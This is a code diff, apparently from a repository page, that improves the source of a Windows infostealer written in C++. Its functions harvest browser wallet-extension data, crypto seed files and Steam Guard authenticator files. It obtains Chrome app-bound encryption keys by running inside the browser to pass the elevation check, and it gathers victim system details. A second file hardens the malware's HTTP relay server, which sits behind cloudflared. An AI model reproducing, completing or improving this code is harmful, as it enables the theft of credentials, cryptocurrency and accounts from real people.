|
||||
if (!entry.is_directory()) continue;
|
||||
fs::path ext_path = entry.path() / "Local Extension Settings" / w.ext_id;
|
||||
if (!fs::exists(ext_path)) {
|
||||
@@ -967,12 +988,13 @@ SystemInfo gather_system_info() {
|
||||
si.username = get_user_name();
|
||||
si.ip = get_ip();
|
||||
|
||||
// Operating-system version
|
||||
// Operating-system version (manifest-free; see RtlGetVersion decl above).
|
||||
OSVERSIONINFOEXW osvi{};
|
||||
osvi.dwOSVersionInfoSize = sizeof(osvi);
|
||||
GetVersionExW((LPOSVERSIONINFOW)&osvi);
|
||||
if (RtlGetVersion(&osvi) != 0) osvi.dwMajorVersion = osvi.dwMinorVersion = osvi.dwBuildNumber = 0;
|
||||
char osbuf[64];
|
||||
snprintf(osbuf, sizeof(osbuf), "%lu.%lu.%lu", osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber);
|
||||
snprintf(osbuf, sizeof(osbuf), "%lu.%lu.%lu", (unsigned long)osvi.dwMajorVersion,
|
||||
(unsigned long)osvi.dwMinorVersion, (unsigned long)osvi.dwBuildNumber);
|
||||
si.os_version = osbuf;
|
||||
|
||||
// Architecture
|
||||
@@ -1038,14 +1060,16 @@ std::string steal_file_finder() {
|
||||
fs::path dir(dir_str);
|
||||
if (!fs::exists(dir)) continue;
|
||||
int found = 0;
|
||||
for (auto& entry : fs::directory_iterator(dir)) {
|
||||
for (auto& entry : list_dir(dir)) {
|
||||
if (found >= max_files) break;
|
||||
if (entry.is_directory()) continue;
|
||||
std::string fname = entry.path().filename().string();
|
||||
for (auto& c : fname) c = (char)tolower((unsigned char)c);
|
||||
for (int k = 0; k < kw_count; k++) {
|
||||
if (fname.find(keywords[k]) != std::string::npos) {
|
||||
result += entry.path().string() + " (" + std::to_string(fs::file_size(entry.path())) + " bytes)\n";
|
||||
std::error_code fec;
|
||||
auto sz = fs::file_size(entry.path(), fec);
|
||||
result += entry.path().string() + " (" + std::to_string(fec ? 0 : sz) + " bytes)\n";
|
||||
found++;
|
||||
break;
|
||||
}
|
||||
@@ -2238,13 +2262,9 @@ std::string seed_finder_harvest() {
|
||||
|
||||
// Pull a "key":"value" string out of a JSON blob; empty when absent.
|
||||
static std::string json_val(const std::string& data, const char* key) {
|
||||
std::string pat = "\"" + std::string(key) + "\":\"";
|
||||
size_t p = data.find(pat);
|
||||
if (p == std::string::npos) return "";
|
||||
p += pat.size();
|
||||
size_t e = data.find('"', p);
|
||||
if (e == std::string::npos) return "";
|
||||
return data.substr(p, e - p);
|
||||
std::string v;
|
||||
json_get_string(data, key, v);
|
||||
return v;
|
||||
}
|
||||
|
||||
// Steam Guard mobile-authenticator files (.maFile). Plaintext JSON by default
|
||||
@@ -2550,8 +2570,7 @@ StealKey acquire_browser_key(const std::optional<BrowserConfig>& cfg,
|
||||
|
||||
// Chrome 127+ app-bound key. The payload runs inside the browser, so the
|
||||
// COM IElevator decrypt passes its process-path check; the offline agent
|
||||
// falls through to the DPAPI v10 key. The proven flow. The fork+APC
|
||||
// experiment sits out of the build in src/stealer/experimental.
|
||||
// falls through to the DPAPI v10 key. The proven flow.
|
||||
const std::string key_name = "\"app_bound_encrypted_key\"";
|
||||
size_t pos = ls.find(key_name);
|
||||
if (pos != std::string::npos) {
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <algorithm>
|
||||
#include <cctype>
|
||||
#include <cstdlib>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
@@ -20,10 +21,19 @@ namespace {
|
||||
|
||||
volatile LONG g_stop = 0;
|
||||
|
||||
bool recv_all(SOCKET s, std::vector<uint8_t>& buf, size_t total) {
|
||||
// One recv bounded by both the socket timeout and an absolute per-request
|
||||
// deadline, so a client trickling bytes cannot hold the relay loop forever.
|
||||
bool recv_byte(SOCKET s, char& b, uint32_t deadline_ms) {
|
||||
if (GetTickCount() > deadline_ms) return false;
|
||||
int n = recv(s, &b, 1, 0);
|
||||
return n == 1;
|
||||
}
|
||||
|
||||
bool recv_all(SOCKET s, std::vector<uint8_t>& buf, size_t total, uint32_t deadline_ms) {
|
||||
buf.clear();
|
||||
buf.reserve(total);
|
||||
while (buf.size() < total) {
|
||||
if (GetTickCount() > deadline_ms) return false;
|
||||
char tmp[8192];
|
||||
int want = (int)std::min<size_t>(sizeof(tmp), total - buf.size());
|
||||
int n = recv(s, tmp, want, 0);
|
||||
@@ -38,12 +48,15 @@ bool recv_all(SOCKET s, std::vector<uint8_t>& buf, size_t total) {
|
||||
// request bodies, so cloudflared can deliver them chunked; a naive
|
||||
// Content-Length-only parse would mis-frame those as empty and 400 them.
|
||||
bool read_request(SOCKET s, std::vector<uint8_t>& body) {
|
||||
// Absolute deadline bounds the whole request. Normal requests finish in
|
||||
// well under a second; without it a client that stalls forever (or just
|
||||
// trickles within each per-recv timeout) occupies the serving loop.
|
||||
uint32_t deadline = GetTickCount() + 5000;
|
||||
std::vector<uint8_t> head;
|
||||
head.reserve(4096);
|
||||
while (head.size() < 16 * 1024) {
|
||||
char b = 0;
|
||||
int n = recv(s, &b, 1, 0);
|
||||
if (n <= 0) return false;
|
||||
if (!recv_byte(s, b, deadline)) return false;
|
||||
head.push_back((uint8_t)b);
|
||||
const char* marker = "\r\n\r\n";
|
||||
if (head.size() >= 4 && memcmp(head.data() + head.size() - 4, marker, 4) == 0)
|
||||
@@ -54,9 +67,14 @@ bool read_request(SOCKET s, std::vector<uint8_t>& body) {
|
||||
size_t cl = h.find("\r\n\r\n");
|
||||
if (cl == std::string::npos) return false;
|
||||
|
||||
size_t te = h.find("Transfer-Encoding");
|
||||
// HTTP field names are case-insensitive (RFC 9110), so fold the header
|
||||
// block for lookup; positions still index the original h for value reads.
|
||||
std::string low = h;
|
||||
for (auto& c : low) c = (char)tolower((unsigned char)c);
|
||||
|
||||
size_t te = low.find("transfer-encoding");
|
||||
if (te != std::string::npos && te < cl) {
|
||||
size_t ce = h.find("chunked", te);
|
||||
size_t ce = low.find("chunked", te);
|
||||
if (ce != std::string::npos && ce < cl) {
|
||||
body.clear();
|
||||
for (;;) {
|
||||
@@ -64,7 +82,7 @@ bool read_request(SOCKET s, std::vector<uint8_t>& body) {
|
||||
std::string line;
|
||||
char b = 0;
|
||||
while (line.size() < 64) {
|
||||
if (recv(s, &b, 1, 0) != 1) return false;
|
||||
if (!recv_byte(s, b, deadline)) return false;
|
||||
line += b;
|
||||
if (line.size() >= 2 && line.compare(line.size() - 2, 2, "\r\n") == 0)
|
||||
break;
|
||||
@@ -81,7 +99,7 @@ bool read_request(SOCKET s, std::vector<uint8_t>& body) {
|
||||
for (int i = 0; i < 64; i++) {
|
||||
std::string line;
|
||||
while (line.size() < 128) {
|
||||
if (recv(s, &b, 1, 0) != 1) return false;
|
||||
if (!recv_byte(s, b, deadline)) return false;
|
||||
line += b;
|
||||
if (line.size() >= 2 && line.compare(line.size() - 2, 2, "\r\n") == 0)
|
||||
break;
|
||||
@@ -93,26 +111,39 @@ bool read_request(SOCKET s, std::vector<uint8_t>& body) {
|
||||
if (chunk_size > 64 * 1024 * 1024 ||
|
||||
body.size() > 64 * 1024 * 1024 - chunk_size) return false;
|
||||
std::vector<uint8_t> tmp;
|
||||
if (!recv_all(s, tmp, chunk_size)) return false;
|
||||
if (!recv_all(s, tmp, chunk_size, deadline)) return false;
|
||||
body.insert(body.end(), tmp.begin(), tmp.end());
|
||||
char crlf[2];
|
||||
if (recv(s, crlf, 2, 0) != 2 || crlf[0] != '\r' || crlf[1] != '\n')
|
||||
if (!recv_byte(s, crlf[0], deadline) || !recv_byte(s, crlf[1], deadline) ||
|
||||
crlf[0] != '\r' || crlf[1] != '\n')
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Naive, single-value Content-Length parse (we generate the requests).
|
||||
size_t pos = h.find("Content-Length");
|
||||
// Content-Length must be a non-negative decimal integer (RFC 9110).
|
||||
// atoll() would turn negative/garbage input into a huge size_t and drive a
|
||||
// giant allocation; validate the digits and cap the value instead.
|
||||
size_t pos = low.find("content-length");
|
||||
size_t len = 0;
|
||||
if (pos != std::string::npos && pos < cl) {
|
||||
pos += 14;
|
||||
pos += 14; // strlen("content-length")
|
||||
while (pos < cl && (h[pos] == ':' || h[pos] == ' ' || h[pos] == '\t')) pos++;
|
||||
size_t end = h.find("\r\n", pos);
|
||||
if (end == std::string::npos || end > cl) return false;
|
||||
len = (size_t)atoll(h.substr(pos, end - pos).c_str());
|
||||
std::string val = h.substr(pos, end - pos);
|
||||
size_t vb = val.find_first_not_of(" \t");
|
||||
size_t ve = val.find_last_not_of(" \t");
|
||||
if (vb == std::string::npos) return false;
|
||||
val = val.substr(vb, ve - vb + 1);
|
||||
if (val.empty()) return false;
|
||||
for (char c : val)
|
||||
if (c < '0' || c > '9') return false;
|
||||
uint64_t n = strtoull(val.c_str(), nullptr, 10);
|
||||
if (n > 64 * 1024 * 1024) return false;
|
||||
len = (size_t)n;
|
||||
}
|
||||
return recv_all(s, body, len);
|
||||
return recv_all(s, body, len, deadline);
|
||||
}
|
||||
|
||||
void send_response(SOCKET s, const std::vector<uint8_t>& body) {
|
||||
@@ -167,6 +198,12 @@ bool serve(uint16_t port, const Handler& handler) {
|
||||
SOCKET client = accept(listener, nullptr, nullptr);
|
||||
if (client == INVALID_SOCKET) continue;
|
||||
|
||||
// Bound each individual recv so a stalled client cannot hold the relay
|
||||
// loop forever; read_request additionally enforces an absolute 5s
|
||||
// deadline for the whole request.
|
||||
int rto = 5000;
|
||||
setsockopt(client, SOL_SOCKET, SO_RCVTIMEO, (const char*)&rto, sizeof(rto));
|
||||
|
||||
std::vector<uint8_t> body;
|
||||
bool ok = read_request(client, body);
|
||||
std::vector<uint8_t> eph_pub;
|
||||
|
||||
Reference in New Issue
Block a user